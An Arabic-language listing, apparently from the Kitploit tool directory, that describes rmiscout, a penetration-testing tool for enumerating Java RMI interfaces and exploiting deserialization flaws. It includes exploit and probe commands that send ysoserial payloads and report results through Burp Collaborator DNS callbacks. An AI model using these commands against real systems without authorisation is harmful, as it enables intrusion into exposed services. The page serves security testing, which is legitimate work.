Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
rmiscout — RMIScout يستخدم استراتيجيات قوائم الكلمات والهجمات الشاملة لتعداد وظائف Java RMI واستغلال ثغرات فك التجميع لمعاملات RMI. | Kitploit
أدوات/GitHubGitHub/bishopfox/rmiscout
ماسحات الثغرات الأمنيةالاستغلالجمع المعلوماتالاختبار العشوائياختبار الاختراق
GitHubbishopfox/rmiscout

rmiscout

RMIScout يستخدم استراتيجيات قوائم الكلمات والهجمات الشاملة لتعداد وظائف Java RMI واستغلال ثغرات فك التجميع لمعاملات RMI.

عرض المستودع
44862منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

License Python version

الوصف

يتيح RMIScout هجمات بقوائم الكلمات والتخمين القسري ضد واجهات Java RMI المكشوفة لتخمين توقيعات الطرق بأمان دون استدعاء. يدعم بروتوكولات Java RMI المتعددة، واستدعاء الطرق، والاستغلال.

نظرة عامة على الميزات

  • يدعم أنواعًا متعددة من خوادم Java RMI:
    • RMI-JRMP (المعروف أيضًا باسم RMI العادي؛ عادةً المنفذ 1099): خدمة سجل الكائنات البعيدة (rmiregistry)
    • RMI Activation Stubs عبر rmid
    • RMI-IIOP: نموذج برمجة Java CORBA (orbd؛ عادةً المنفذ 1050)
      • يتطلب IIOP JRE 1.8 للاستخدام. بسبب الإهمال في الإصدارات اللاحقة من وقت التشغيل.
    • RMI-SSL
  • أوضاع تشغيل متعددة
    • وضع قائمة الكلمات: اختبار الطرق البعيدة باستخدام قائمة كلمات من التوقيعات (راجع القوائم المضمنة lists/prototypes.txt)
    • وضع التخمين القسري: باستخدام قائمة كلمات بأسماء الطرق، يتم إنشاء توقيعات بأنواع معلمات مختلفة، وعدد المعلمات، وأنواع الإرجاع.
    • وضع الاستغلال: استخدام ysoserial لاستغلال الطرق البعيدة ذات المعلمات غير البدائية.
      • يتطلب تشغيل rmiscout مع JRE 1.8 لكي يعمل ysoserial بشكل صحيح.
    • وضع الاستكشاف: استخدام GadgetProbe لتحديد الفئات في مسار الفئة البعيد
    • وضع الاستدعاء: استدعاء الطرق البعيدة مباشرة عن طريق تحديد توقيع الطريقة وقيم المعلمات من سطر الأوامر (البدائيات، المصفوفات، والسلاسل فقط).
    • وضع القائمة: سرد السجلات المتاحة على الخادم البعيد.
  • التبديل تلقائيًا بين RMI وRMI-SSL وActivation stubs.
  • تنفيذ تقنيات تجاوز المضيف المحلي تلقائيًا (على سبيل المثال، السجلات المرتبطة بـ @127.0.0.1:XXXX، ولكنها لا تزال معرضة خارجيًا عبر XXXX)

كيف يعمل

لتحديد دوال RMI دون تنفيذها، يستخدم RMIScout دوال شبكة RMI منخفضة المستوى وتوليد فئات ديناميكية لإرسال استدعاءات RMI بأنواع غير متطابقة عن قصد لإثارة استثناءات عن بُعد. يتم استبدال جميع المعلمات بفئة قابلة للتسلسل تم إنشاؤها ديناميكيًا باسم مكون من 255 حرفًا يُفترض عدم وجوده في مسار الفئة البعيدة. على سبيل المثال:

الواجهة البعيدة:

root@kitploit:~
void login(String user, String password)

سيستدعي RMIScout:

root@kitploit:~
login((String) new QQkzkn3..255 حرفًا..(), (String) new QQkzkn3..255 حرفًا..())

إذا كانت الفئة موجودة، سيؤدي ذلك إلى استثناء java.rmi.UnmarshalException عن بُعد ناتج عن ClassNotFoundException أو خطأ في إلغاء تسلسل الوسائط دون استدعاء الطريقة الأساسية.

لمقالات تقنية أكثر تفصيلاً:

  • (المنشور الأصلي) RMIScout: تخمين واجهات Java RMI بأمان وسرعة لتنفيذ الكود.
  • (تحديث RMIScout) الدروس المستفادة من التخمين القسري لـ RMI-IIOP باستخدام RMIScout

أوضاع التشغيل

وضع قائمة الكلمات

root@kitploit:~
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

قم بتوفير قائمة كلمات بنماذج الطرق لفحصها على الخادم البعيد. سيقوم RMIScout بإخراج جميع المطابقات التي تم تحديدها.

بالنسبة لـ RMI-IIOP/CORBA: ما لم تكن الطرق محملة بشكل زائد، فإن التخمين القسري والاستدعاء يتطلبان فقط تطابق الأسماء (يتم تجاهل جميع المعلومات الأخرى).

وضع التخمين القسري

root@kitploit:~
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

قم بتوفير قائمة كلمات بأسماء الطرق المرشحة، ثم قم بتوفير قائمة مفصولة بفواصل لأنواع الإرجاع المرشحة، ونطاق عدد المعلمات، وأنواع المعلمات المرشحة. سيقوم وضع التخمين القسري بإنشاء التباديل والبحث عن التوقيعات المطابقة.

وضع الاستغلال

root@kitploit:~
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

على الخوادم التي تم تكوينها بشكل خاطئ، يمكن استغلال أي توقيع RMI معروف يستخدم أنواعًا غير بدائية (مثل java.util.List) عن طريق استبدال الكائن بحمولة متسلسلة. هذا تكوين خاطئ شائع إلى حد ما (على سبيل المثال، VMWare vSphere Data Protection + vRealize Operations Manager، Pivotal tc Server و Gemfire، Apache Karaf + Cassandra) كما تم تسليط الضوء عليه في محاضرة An Trinh's 2019 Blackhat EU.

يتكامل RMIScout مع ysoserial لتنفيذ هجمات إلغاء التسلسل ضد الخدمات التي تقوم بتكوين مرشحات التسلسل على مستوى العملية بشكل غير صحيح (JEP 290).

أمثلة على التوقيعات القابلة للاستغلال:

root@kitploit:~
void exampleMethod(java.util.Map a) // أي أنواع غير بدائية
void exampleMethod(float[] a) // أي نوع من المصفوفات، حتى البدائيات
void exampleMethod(String a) // يعمل على JDK القديمة، انظر أدناه...

ملاحظة: التوقيعات التي تحتوي على أنواع java.lang.String تكون قابلة للاستغلال فقط في إصدارات JRE 8/11/13/14 قبل أوائل 2020 في RMI-JRMP، ولكنها لا تزال قابلة للاستغلال حاليًا في RMI-IIOP.

وضع الاستدعاء

root@kitploit:~
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>

يتيح لك RMIScout استدعاء أي توقيعات بالبدائيات أو مصفوفات البدائيات أو السلاسل. ستتطلب الأنواع الأكثر تقدمًا كتابة عميل مخصص.

وضع الاستكشاف

root@kitploit:~
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

يتكامل RMIScout مع GadgetProbe لتحديد الفئات في مسار الفئة البعيد. يتم إخراج أسماء الفئات عبر DNS.

البناء والتشغيل

استخدم النص البرمجي المضمن rmiscout.sh لبناء المشروع تلقائيًا وكغلاف مناسب لبناء java -jar:

root@kitploit:~
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

بدلاً من ذلك، قم ببناء المشروع يدويًا واستخدم بناء java -jar التقليدي:

root@kitploit:~
# بناء JAR يدويًا
./gradlew shadowJar

java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>

ملاحظة: يعتمد RMI-IIOP (الترجمة / وقت التشغيل) و ysoserial (وقت التشغيل) على JDK8.

جربه

قم بتشغيل خادم RMI التجريبي في Docker. جرب القائمة المضمنة demo/wordlist.txt.

root@kitploit:~
cd demo
./start_demo.sh

استكشاف الأخطاء وإصلاحها

س: كيف يمكنني معرفة ما إذا كان <host>:<port> هو سجل RMI؟

استخدم ./rmiscout list <host> <port> للحصول على معلومات حول السجلات على خادم بعيد.

root@kitploit:~
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]

أو استخدم نص nmap rmi-dumpregistry:

root@kitploit:~
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-dumpregistry:
|   ActivationServer
|     com.bishopfox.example.ActivationImpl_Stub
|     \x00\x0EActivatableRef
|     extends
|       java.rmi.server.RemoteStub
|       extends
|         java.rmi.server.RemoteObject
|   plaintest
|      implements com.bishopfox.example.HelloInterface,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:1111
|             extends
|_              java.rmi.server.RemoteObject

س: لقد وجدت سجلًا على المنفذ 1098 بالاسم java.rmi.activation.ActivationSystem. ماذا يمكنني أن أفعل به؟

هذا هو rmid Activation System Daemon. جميع طرقه مقيدة بـ SecurityManager. تتحقق إصدارات JRE الأحدث مما إذا كان النظير البعيد يأتي من المضيف المحلي قبل إلغاء تسلسل أي بيانات بعيدة. الإصدارات القديمة (ما قبل 2011) لم يكن لديها هذا الفحص وقد تكون عرضة للخطر. راجع https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb

س: هل يمكنني تشغيل RMIScout بإصدار وقت تشغيل أحدث من JRE 8؟

ج: تقنيًا نعم، لكن العديد من الميزات ستتوقف عن العمل. دعم CORBA، ودعم الاستكشاف، وysoserial (وضع الاستغلال) يتطلب الاعتماد على JRE 8.

س: لماذا أحصل على CannotCompileException؟

ج: يحدث CannotCompileException عندما يتم توفير اسم طريقة أو نموذج غير صالح مباشرة أو عبر قائمة كلمات. يقوم RMIScout بإنشاء كود بايت للتوقيعات المرشحة التي يوفرها المستخدم في وقت التشغيل. على الرغم من أن RMIScout لديه قواعد أساسية لتصحيح أخطاء الصياغة الشائعة في النماذج التي يوفرها المستخدم، إلا أنه يفشل أحيانًا.

المؤلف

تويتر: @BumbleSec

جيت هاب: the-bumble

تنزيل الأداة